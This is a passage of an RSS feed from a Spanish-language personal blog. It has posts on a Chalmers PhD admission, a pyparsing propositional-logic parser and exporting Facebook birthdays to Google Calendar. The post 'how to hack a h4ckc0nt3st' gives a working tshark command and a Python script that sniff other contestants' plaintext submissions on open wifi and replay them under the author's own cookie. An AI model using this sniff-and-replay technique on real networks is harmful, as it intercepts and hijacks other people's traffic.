Fue divertido, incluso cuando evidentemente no fui el primero en notar esto y basta con<a href="https://encrypted.google.com/search?q=alchemy.l8r.pl+cheats"> googlear un poco para conocer las soluciones</a>. En lo personal, consideré parte del juego escribir el código que lo resuelve y lo usé de excusa para hacer algo con <a href="http://docs.python.org/library/optparse.html">optparse</a>, que lo tenía pendiente.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/jugando-a-ser-dios/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Avancez</title>
		<link>http://www.lucianobello.com.ar/post/avancez/</link>
		<comments>http://www.lucianobello.com.ar/post/avancez/#comments</comments>
		<pubDate>Thu, 31 Mar 2011 21:18:53 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[information flow]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[sweden]]></category>
		<category><![CDATA[university]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1581</guid>
		<description><![CDATA[This post is available in English too. Si me seguís por Twitter/Facebook o te lo comenté en persona, sabrás que durante el último viaje que hice al viejo continente pasé unos días en Gotemburgo, Suecia. Lo que muy posiblemente no sepas es qué fui a hacer a tan remota ciudad. Hace unos meses apliqué para [...]]]></description>
			<content:encoded><![CDATA[<p><small>This post is available <a href="http://www.lucianobello.com.ar/post/avancez/">in English</a> too.</small></p>
<p><img src="http://upload.wikimedia.org/wikipedia/en/thumb/5/5c/Chalmers_logo.png/225px-Chalmers_logo.png" align="right" />Si <a href="https://twitter.com/#!/microluciano">me seguís por Twitter</a>/<a href='http://www.facebook.com/microluciano'>Facebook</a> o te lo comenté en persona, sabrás que durante <a href="http://www.lucianobello.com.ar/post/%C2%A1nos-vemos-en-espana/">el último viaje que hice al viejo continente</a> pasé unos días en <a href="https://secure.wikimedia.org/wikipedia/es/wiki/Gotemburgo">Gotemburgo, Suecia</a>. Lo que muy posiblemente no sepas es qué fui a hacer a tan remota ciudad.</p>
<p>Hace unos meses apliqué para <a href="http://www.chalmers.se/cse/EN/news/vacancies/positions/phd-student-positions-in">una posición en Chalmers</a>, como estudiante de doctorado. Tuve la suerte de quedar en la short-list, lo que implicaba que tenía que ir a hacer algunas entrevista <em>in-situ</em>. Y eso fue lo que hice durante esos 3 días. <strong>¡Y me aceptaron!</strong> :-)</p>
<p>Así que a mediados del próximo Agosto me estaré reubicando en la linda ciudad de Gotemburgo. Quedan excitantes días en los próximos meses en Buenos Aires, con muchas cosas para hacer y mucha gente a la que me gustaría ver. Así que si estas leyendo esto y me conoces mínimamente, escribime un correo y vamos a por unas cervezas :) </p>
<p>Chalmers es una universidad <a href="http://www.arwu.org/FieldENG2010.jsp">muy prestigiosa</a>. La gran mayoría de los papers que estudié durante los últimos meses, fueron escritos por estudiantes de ahí y estoy muy contento con la posibilidad de trabajar en semejante ambiente académico.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/avancez/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Avancez</title>
		<link>http://www.lucianobello.com.ar/post/avancez_en/</link>
		<comments>http://www.lucianobello.com.ar/post/avancez_en/#comments</comments>
		<pubDate>Thu, 31 Mar 2011 21:13:26 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[information flow]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>
		<category><![CDATA[sweden]]></category>
		<category><![CDATA[university]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1586</guid>
		<description><![CDATA[Este post también está escrito en español. If you follow me on Twitter/Facebook, you probably know that I went to Gothenburg, Sweden, during my last trip to Europe. But you probably don&#8217;t know what I did in such remote city. Few months ago, I applied to a PhD student position at Chalmers. I was lucky [...]]]></description>
			<content:encoded><![CDATA[<p><small>Este post también está escrito <a href="http://www.lucianobello.com.ar/post/avancez/">en español</a>.</small></p>
<p><img src="http://upload.wikimedia.org/wikipedia/en/thumb/5/5c/Chalmers_logo.png/225px-Chalmers_logo.png" alt="" align="right" />If you  <a href="https://twitter.com/microluciano">follow me on Twitter</a>/<a href="http://www.facebook.com/microluciano">Facebook</a>, you probably know that I went to <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Gothenburg">Gothenburg, Sweden,</a> during <a href="http://www.lucianobello.com.ar/post/%C2%A1nos-vemos-en-espana/">my last trip to Europe</a>. But you probably don&#8217;t know what I did in such remote city.</p>
<p>Few months ago, I applied to a <a href="http://www.chalmers.se/cse/EN/news/vacancies/positions/phd-student-positions-in">PhD student position at Chalmers</a>. I was lucky enough to be shortlisted, so I went to some <em>in-situ</em> interviews. And, incredibly, <strong>I have been accepted!</strong> :-)</p>
<p>Chalmers is a <a href="http://www.arwu.org/FieldENG2010.jsp">TOP 100 university</a>. Most of the papers I read during the last months has been written by Chalmers researchers and for me is a great honor to be part of an academic institution with such prestige.</p>
<p>I&#8217;m going to move to the nice Gothenburg city in August. And I&#8217;m happy :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/avancez_en/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>parser para fórmulas de lógica proposicional (o una somera introducción a pyparsing)</title>
		<link>http://www.lucianobello.com.ar/post/parser-para-formulas-de-logica-proposicional-o-una-somera-introduccion-a-pyparsing/</link>
		<comments>http://www.lucianobello.com.ar/post/parser-para-formulas-de-logica-proposicional-o-una-somera-introduccion-a-pyparsing/#comments</comments>
		<pubDate>Mon, 28 Mar 2011 17:13:29 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[university]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1515</guid>
		<description><![CDATA[La semana pasada empecé a cursar, de oyente, dos materias en Exactas: Lógica y Computabilidad y Teoría de Lenguajes. En la primera, empezamos a estudiar algunos conceptos de cálculo proposicional. Al final de la clase, el profesor sugirió escribir un pequeño parser que reconozca fórmulas de lógica proposicional. Dado que venía con ganas de entender [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://arte.atompedia.com/googleimages/arte.png/m/224753" align="right" />La semana pasada empecé a cursar, de oyente, dos materias en <a href="http://exactas.uba.ar/">Exactas</a>: <a href="http://cms.dm.uba.ar/academico/materias/1ercuat2011/logica_y_computabilidad/">Lógica y Computabilidad</a> y <a href="http://dc.uba.ar/materias/tl">Teoría de Lenguajes</a>. En la primera, empezamos a estudiar algunos conceptos de <a href="https://secure.wikimedia.org/wikipedia/es/wiki/L%C3%B3gica_proposicional">cálculo proposicional</a>. Al final de la clase, el profesor sugirió escribir un pequeño parser que reconozca fórmulas de lógica proposicional. Dado que venía con ganas de entender mejor <a href="http://pyparsing.wikispaces.com/">pyparsing</a>, me pareció que podía ser una buena forma de empezar.</p>
<p>Primero, <a href="http://pc-matias.dm.uba.ar/LyC/Cignoli-Martinez.pdf">la teoría</a>. Dado el alfabeto <img src='http://s.wordpress.com/latex.php?latex=A&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='A' title='A' class='latex' />, <img src='http://s.wordpress.com/latex.php?latex=A%5E%2A&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='A^*' title='A^*' class='latex' /> es el conjunto de palabras que pueden formarse combinando sus elementos.<br />
<img src='http://s.wordpress.com/latex.php?latex=A%3D%5C%7B%20%5Cto%20%2C%20%5Cwedge%20%2C%20%5Cvee%20%2C%20%5Cneg%20%2C%20%28%20%2C%20%29%20%2C%20p%20%2C%20%5Cprime%20%5C%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='A=\{ \to , \wedge , \vee , \neg , ( , ) , p , \prime \}' title='A=\{ \to , \wedge , \vee , \neg , ( , ) , p , \prime \}' class='latex' /><br />
Existe un tipo particular de palabras, a las que llamamos variables.<br />
<img src='http://s.wordpress.com/latex.php?latex=Var%3D%5C%7Bp%20%2C%20p%5Cprime%2C%20p%5Cprime%5Cprime%20%2C%20%20%5Cldots%20%5C%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='Var=\{p , p\prime, p\prime\prime ,  \ldots \}' title='Var=\{p , p\prime, p\prime\prime ,  \ldots \}' class='latex' /><br />
Es un conjunto infinito y, dado que puede ser tedioso contar la cantidad de <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Prime_%28symbol%29">primas</a>, las variables pueden ser referenciadas como <img src='http://s.wordpress.com/latex.php?latex=p_n&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='p_n' title='p_n' class='latex' />, donde <em>n</em> es la cantidad de primas. Así, parece razonable pensar que no todas las palabras son <em>válidas</em> a la hora de escribir una fórmula (que es como llamaremos a las palabras válidas).</p>
<p>Ejemplos de fórmulas:
<ul>
<li> <img src='http://s.wordpress.com/latex.php?latex=%20p_2&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' p_2' title=' p_2' class='latex' />
<li> <img src='http://s.wordpress.com/latex.php?latex=%20%28%20%28%20p_3%20%5Cwedge%20p_5%20%29%20%5Cto%20%28%20%5Cneg%20p_2%20%5Cvee%20p_5%20%29%20%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' ( ( p_3 \wedge p_5 ) \to ( \neg p_2 \vee p_5 ) )' title=' ( ( p_3 \wedge p_5 ) \to ( \neg p_2 \vee p_5 ) )' class='latex' />
<li> <img src='http://s.wordpress.com/latex.php?latex=%20%5Cneg%20%5Cneg%20%28%20p%5Cprime%20%5Cvee%20p_%7B1232%7D%20%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' \neg \neg ( p\prime \vee p_{1232} )' title=' \neg \neg ( p\prime \vee p_{1232} )' class='latex' />
</ul>
<p>Ejemplos de no-fórmulas (palabras que no forman una fórmula):
<ul>
<li> <img src='http://s.wordpress.com/latex.php?latex=%20%5Cneg%5Cprime&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' \neg\prime' title=' \neg\prime' class='latex' />
<li> <img src='http://s.wordpress.com/latex.php?latex=%20%28%20p_2%20%29&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' ( p_2 )' title=' ( p_2 )' class='latex' />
<li> <img src='http://s.wordpress.com/latex.php?latex=%20p_3%20%5Cvee%20%5Cwedge%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' p_3 \vee \wedge ' title=' p_3 \vee \wedge ' class='latex' />
</ul>
<p>Si bien es más o menos intuitivo qué es una fórmula y qué no, es necesario definirlo en un sentido formal. Así  <img src='http://s.wordpress.com/latex.php?latex=%20Form%20%5Csubset%20A%5E%2A%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt=' Form \subset A^* ' title=' Form \subset A^* ' class='latex' /> y es el conjunto de las palabras que cumplen:
<ol TYPE="i">
<li> si <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%20%5Cin%20A%5E%2A&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha \in A^*' title='\alpha \in A^*' class='latex' /> y <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%20%5Cin%20Var&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha \in Var' title='\alpha \in Var' class='latex' />, entonces <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%20%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha \in Form' title='\alpha \in Form' class='latex' />
<li> si <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%20%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha \in Form' title='\alpha \in Form' class='latex' />, entonces <img src='http://s.wordpress.com/latex.php?latex=%5Cneg%20%5Calpha%20%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\neg \alpha \in Form' title='\neg \alpha \in Form' class='latex' />
<li> si <img src='http://s.wordpress.com/latex.php?latex=%5Calpha%2C%5Cbeta%20%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\alpha,\beta \in Form' title='\alpha,\beta \in Form' class='latex' />, entonces <img src='http://s.wordpress.com/latex.php?latex=%28%20%5Calpha%20%5Ccircledast%20%5Cbeta%29%5Cin%20Form&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='( \alpha \circledast \beta)\in Form' title='( \alpha \circledast \beta)\in Form' class='latex' />. Donde <img src='http://s.wordpress.com/latex.php?latex=%5Ccircledast%3D%5Cvee%2C%5Cwedge%2C%5Cto%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='\circledast=\vee,\wedge,\to ' title='\circledast=\vee,\wedge,\to ' class='latex' />
</ol>
<p>Nada más es una fórmula.</p>
<p>Ahora, a la práctica. Queremos escribir un parser que, dada una palabra, reconozca si es una fórmula. Y para esto vamos a jugar con el módulo <a href="http://pyparsing.wikispaces.com/">pyparsing</a>, para python.</p>
<p>Lo primero es definir el conjunto de variables.<br />
<code><br />
>>> from pyparsing import Word<br />
>>> variable=Word('Pp',"0123456789'")<br />
>>> variable.parseString('p1')<br />
(['p1'], {})<br />
>>> variable.parseString("P'")<br />
(["P'"], {})<br />
</code><br />
Así, <tt>variable</tt> reconoce los posibles nombres de variables. Toda expresión que sea parseable por <tt>variable</tt>, es una formula. Para el punto <i>ii.</i> hay que definir una estructura recursiva. Utilizaremos el <i>bang</i> (<tt>!</tt>) para la negación.<br />
<code>from pyparsing import Forward<br />
formula=Forward()<br />
ii='!' + formula<br />
</code><br />
Caso similar en el punto <i>iii.</i>. Para esto hay que definir los operadores, que son <i>and</i> (<tt>&#038;</tt>), <i>or</i> (<tt>|</tt>) y  <i>then</i> (<tt>&lt;</tt>).<br />
<code><br />
operador=Word('&#038;|>',max=1)<br />
iii='('+formula+operador+formula+')'</code><br />
Por último, definimos una fórmula cómo una variable (<i>i.</i>) o una negación de una fórmula (<i>ii.</i>) o una operación entre fórmulas (<i>iii.</i>).<br />
<code><br />
formula << ( variable | ii | iii )<br />
</code><br />
Y esto es, básicamente, nuestro parser:<br />
<code><br />
>>> formula.parseString("(p1 | p4)")<br />
(['(', 'p1', '|', 'p4', ')'], {})<br />
</code><br />
Lo dicho, con un poco más de contexto y en un único archivo, a continuación:<br />
<div id="wpshdo_2" class="wp-synhighlighter-outer"><div id="wpshdt_2" class="wp-synhighlighter-collapsed"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_2"></a><a id="wpshat_2" class="wp-synhighlighter-title" href="#codesyntax_2"  onClick="javascript:wpsh_toggleBlock(2)" title="Click to show/hide code block">logicparser.py</a></td><td align="right"><a href="#codesyntax_2" onClick="javascript:wpsh_code(2)" title="Show code only"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_2" onClick="javascript:wpsh_print(2)" title="Print code"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_2" class="wp-synhighlighter-inner" style="display: none;"><pre class="python" style="font-family:monospace;"><ol><li class="li1"><div class="de1"><span class="kw1">from</span> pyparsing <span class="kw1">import</span> Forward, Word</div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span> </div></li><li class="li1"><div class="de1">expression=<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">variable=Word<span class="br0">&#40;</span><span class="st0">'Pp'</span>,<span class="st0">&quot;0123456789'&quot;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">operador=Word<span class="br0">&#40;</span><span class="st0">'&amp;|&gt;'</span>,<span class="kw2">max</span>=<span class="nu0">1</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">formula=Forward<span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">ii=<span class="st0">'!'</span> + formula</div></li><li class="li1"><div class="de1">iii=<span class="st0">'('</span>+formula+operador+formula+<span class="st0">')'</span></div></li><li class="li1"><div class="de1">formula <span class="sy0">&lt;&lt;</span> <span class="br0">&#40;</span> variable | ii | iii <span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">print</span> expression,<span class="st0">&quot; - es formula? &quot;</span>,</div></li><li class="li1"><div class="de1"><span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">    palabras = formula.<span class="me1">parseString</span><span class="br0">&#40;</span>expression.<span class="me1">strip</span><span class="br0">&#40;</span><span class="br0">&#41;</span>,parseAll=<span class="kw2">True</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">print</span> <span class="st0">&quot;TRUE&quot;</span>,</div></li><li class="li1"><div class="de1">    <span class="kw1">print</span> palabras</div></li><li class="li1"><div class="de1"><span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">print</span> <span class="st0">&quot;FALSE&quot;</span></div></li></ol></pre></div></div></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/parser-para-formulas-de-logica-proposicional-o-una-somera-introduccion-a-pyparsing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>how to hack a h4ckc0nt3st</title>
		<link>http://www.lucianobello.com.ar/post/how-to-hack-a-h4ckc0nt3st/</link>
		<comments>http://www.lucianobello.com.ar/post/how-to-hack-a-h4ckc0nt3st/#comments</comments>
		<pubDate>Sun, 27 Feb 2011 22:34:31 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[ego]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1502</guid>
		<description><![CDATA[Hace unas horas acabo de volver de A Coruña, donde pasé unos excelentes días entre charlas y talleres de excelente nivel técnico y amigos en las Jornadas de Seguridad Informáticas organizadas por GSIC. Pero este post tiene otro objetivo que contar lo lindo que fue. Así que si esperabas algo blando, puedes dejar de leer [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unas horas acabo de volver de A Coruña, donde pasé unos excelentes días entre charlas y talleres de excelente nivel técnico y amigos en las <a href="http://www.gsicoruna.com/jornadas">Jornadas de Seguridad Informáticas</a> organizadas por <a href="http://www.gsicoruna.com/index.html">GSIC</a>.</p>
<p>Pero este post tiene otro objetivo que contar lo lindo que fue. Así que si esperabas algo blando, puedes dejar de leer acá :P (las fotos estarán online en breve). Lo que sigue es la respuesta larga a la pregunta que me realizaron varias veces en los últimos días: <em>¿Estas jugando al h4ckc0nt3st?</em>. La respuesta corta era <em>sí, lo estoy haciendo en este exacto momento, aunque no de la forma tradicional</em>.</p>
<h3>El contexto</h3>
<p>Durante la conferencia,  <a href="https://twitter.com/mgesteiro">Miguel</a> organizó un muy divertido hack contest. El objetivo era llegar a una respuesta a través de la resolución de diferentes desafíos. Dicha respuesta se metía en un formulario web (que escuchaba en http://10.20.63.1:666) y de esta forma se acumulaban puntos.</p>
<h3>El hack</h3>
<p>Dado que la red sobre la que se hacía el concurso era una wifi abierta y que el servidor recibía las respuestas de los participantes en texto plano (no usaba <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Secure_Sockets_Layer">SSL</a>), pensé que sería divertido escuchar las respuestas de los demás concursantes. El paso siguiente de enviar dichas respuestas a mi nombre resultó inevitable. De esta forma, cada vez que alguien enviaba una posible respuesta a un desafío, yo también respondía lo mismo. Logré automatizar ello con las siguientes líneas:<br />
<code><br />
tshark -T fields -e data -i mon0 -R 'ip.dst == 10.20.63.1 and tcp.dstport == 666 and ip.src != mi.propia.ip ' | ./loro.py</code><br />
Donde <tt>loro.py</tt> este archivo:<br />
<div id="wpshdo_3" class="wp-synhighlighter-outer"><div id="wpshdt_3" class="wp-synhighlighter-collapsed"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_3"></a><a id="wpshat_3" class="wp-synhighlighter-title" href="#codesyntax_3"  onClick="javascript:wpsh_toggleBlock(3)" title="Click to show/hide code block">loro.py</a></td><td align="right"><a href="#codesyntax_3" onClick="javascript:wpsh_code(3)" title="Show code only"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_3" onClick="javascript:wpsh_print(3)" title="Print code"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_3" class="wp-synhighlighter-inner" style="display: none;"><pre class="python" style="font-family:monospace;"><ol><li class="li1"><div class="de1"><span class="co1">#!/usr/bin/python</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">binascii</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">socket</span></div></li><li class="li1"><div class="de1"><span class="kw1">for</span> line <span class="kw1">in</span> <span class="kw3">sys</span>.<span class="me1">stdin</span>:</div></li><li class="li1"><div class="de1">    todecode=line.<span class="me1">strip</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    decode=<span class="kw3">binascii</span>.<span class="me1">a2b_hex</span><span class="br0">&#40;</span>todecode<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">if</span> <span class="st0">'acceder'</span> <span class="kw1">in</span> decode <span class="kw1">or</span> <span class="st0">'enviar'</span> <span class="kw1">in</span> decode :</div></li><li class="li1"><div class="de1">        datas=decode.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">'<span class="es0">\n</span>'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">if</span> <span class="st0">'desafio'</span> <span class="kw1">in</span> datas<span class="br0">&#91;</span>0<span class="br0">&#93;</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> i,j <span class="kw1">in</span> <span class="kw2">enumerate</span><span class="br0">&#40;</span>datas<span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">                <span class="kw1">if</span> <span class="st0">'Cookie'</span> <span class="kw1">in</span> j: datas<span class="br0">&#91;</span>i<span class="br0">&#93;</span>=<span class="st0">'Cookie: HCWSSESSID=&quot;your cookie goes here&quot;'</span></div></li><li class="li1"><div class="de1">            tosend=<span class="st0">'<span class="es0">\n</span>'</span>.<span class="me1">join</span><span class="br0">&#40;</span>datas<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            <span class="kw3">sys</span>.<span class="me1">stderr</span>.<span class="me1">write</span><span class="br0">&#40;</span>tosend<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            s = <span class="kw3">socket</span>.<span class="kw3">socket</span><span class="br0">&#40;</span><span class="kw3">socket</span>.<span class="me1">AF_INET</span>, <span class="kw3">socket</span>.<span class="me1">SOCK_STREAM</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            s.<span class="me1">connect</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">'10.20.63.1'</span>, 666<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            s.<span class="me1">send</span><span class="br0">&#40;</span>tosend<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            s.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            <span class="kw1">print</span> <span class="st0">'-'</span><span class="sy0">*</span><span class="nu0">30</span></div></li></ol></pre></div></div></p>
<h3>La explicación</h3>
<p><a href="http://www.wireshark.org/docs/man-pages/tshark.html">Tshark</a> es la versión de consola de <a href="http://www.wireshark.org/">wireshark</a>. Este toma los paquetes de una interfaz en modo monitor (lee <a href="http://aircrack-ng.org/doku.php?id=iwl3945">esto</a> para aprender cómo). El modificador <tt>-f</tt> es el encargado de darme solo aquellos paquetes que vayan al servidor. Excluir del filtro a mi propia IP evita que el sniffer vea mis replayes y entre en loop (tardé en darme cuenta de esto, perdona Miguel por floodear tus logs). El script <tt>loro.py</tt> recibe el campo <tt>data</tt> de los por <tt>stdin</tt> (línea (#) 5), lo decodifica en <a href="https://secure.wikimedia.org/wikipedia/en/wiki/ASCII">ascii</a> (#7), y chequea si es una respuesta (#8). Después lo divide y busca la cookie (# 9 a 11). Al encontrarla, la reemplaza por mi propia cookie (#12, fue una suerte práctica que no caducara). Luego vuelve a juntar todo (#13), lo imprime en stderr (#14, con fines de logging, nada más) y lo envía de nuevo al server (# 15 a 18).</p>
<p>Como dicen por acá, <em>¡a que mola!</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/how-to-hack-a-h4ckc0nt3st/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>exportando cumpleaños de Facebook a Google Calendar</title>
		<link>http://www.lucianobello.com.ar/post/fb2gc/</link>
		<comments>http://www.lucianobello.com.ar/post/fb2gc/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 18:55:20 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1480</guid>
		<description><![CDATA[Ocurre que soy realmente malo para recordar eventos. Muchas veces me comprometí a estar en dos lados simultáneamente y me olvido de hacer tal o cual cosa. Mi desorden se extiende a cosas repetitivas, como los cursos o cumpleaños. Para intentar apalear este mal, utilizo Google Calendar intensamente. Es por esto que intenté exportar las [...]]]></description>
			<content:encoded><![CDATA[<p>Ocurre que soy realmente malo para recordar eventos. Muchas veces me comprometí a estar en dos lados simultáneamente y me olvido de hacer tal o cual cosa. Mi desorden se extiende a cosas repetitivas, como los cursos o cumpleaños. Para intentar apalear este mal, utilizo <a href="http://www.google.com/calendar">Google Calendar</a> intensamente. Es por esto que intenté exportar las fechas de cumpleaños a mis calendarios. Pero cuando intenté hacerlo <em>out-of-the-box</em> me encontré con unos incordios:</p>
<ul>
<li>No hay forma de exportar solo un subconjunto de las fechas</li>
<li>Con los cambios de <a href="http://en.wikipedia.org/wiki/Daylight_saving_time">DST</a>, hay eventos que duran dos días</li>
<li>Los eventos no son de <em>días completos</em>, sino que van de 12am a 12am</li>
<li>No quedan como eventos editables <em>normales</em></li>
</ul>
<p>Los eventos se ven algo así:<br />
<img class="alignnone" src="http://www.lucianobello.com.ar/blog/fbbirthdays5.png" /><br />
Y la verdad que están horribles. Así que realicé estos 5 sencillos pasos:</p>
<h3>Paso 1</h3>
<p>Fui <a href="http://www.facebook.com/#!/?sk=bd">a los eventos de cumpleaños en mi perfil</a>, donde puse <em>exportar cumpleaños</em>.<br />
<img src="http://www.lucianobello.com.ar/blog/fbbirthdays0.png" alt="" /><br />
Así, facebook me proveyó una URL, que empieza con <em>webcal://</em><br />
<img src="http://www.lucianobello.com.ar/blog/fbbirthdays1.png" alt="" /></p>
<h3>Paso 2</h3>
<p>Esta URL, reemplazando <em>webcal</em> por <em>http</em>, la utilicé para obtener los eventos, en formato CSV:<br />
<code>wget "http://www.facebook.com/ical/b.php?uid=2XXXXXX4&amp;key=3XXXXXXX8" -O facebook.csv</code></p>
<h3>Paso 3 (opcional)</h3>
<p>Dada mi política de <em>aceptar-todo-contacto</em> en Facebook hay muchos eventos que no quisiera incluir en mi calendario. Por lo que generé una lista de los que sí quiero tener:<br />
<code>rgrep "^SUMMARY" facebook.csv &gt; lista.txt</code><br />
Y después borré de <tt>lista.txt</tt> aquellos que quería excluir.</p>
<h3>Paso 4</h3>
<p>Escribí el siguiente script:<br />
<div id="wpshdo_4" class="wp-synhighlighter-outer"><div id="wpshdt_4" class="wp-synhighlighter-collapsed"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_4"></a><a id="wpshat_4" class="wp-synhighlighter-title" href="#codesyntax_4"  onClick="javascript:wpsh_toggleBlock(4)" title="Click to show/hide code block">fb2gc.py</a></td><td align="right"><a href="#codesyntax_4" onClick="javascript:wpsh_code(4)" title="Show code only"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_4" onClick="javascript:wpsh_print(4)" title="Print code"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_4" class="wp-synhighlighter-inner" style="display: none;"><pre class="python" style="font-family:monospace;"><ol><li class="li1"><div class="de1"><span class="co1">#!/usr/bin/python</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">datetime</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div></li><li class="li1"><div class="de1"><span class="kw1">print</span> <span class="st0">''</span><span class="st0">'BEGIN:VCALENDAR</span></div></li><li class="li1"><div class="de1"><span class="st0">PRODID:localscript</span></div></li><li class="li1"><div class="de1"><span class="st0">VERSION:2.0</span></div></li><li class="li1"><div class="de1"><span class="st0">CALSCALE:GREGORIAN</span></div></li><li 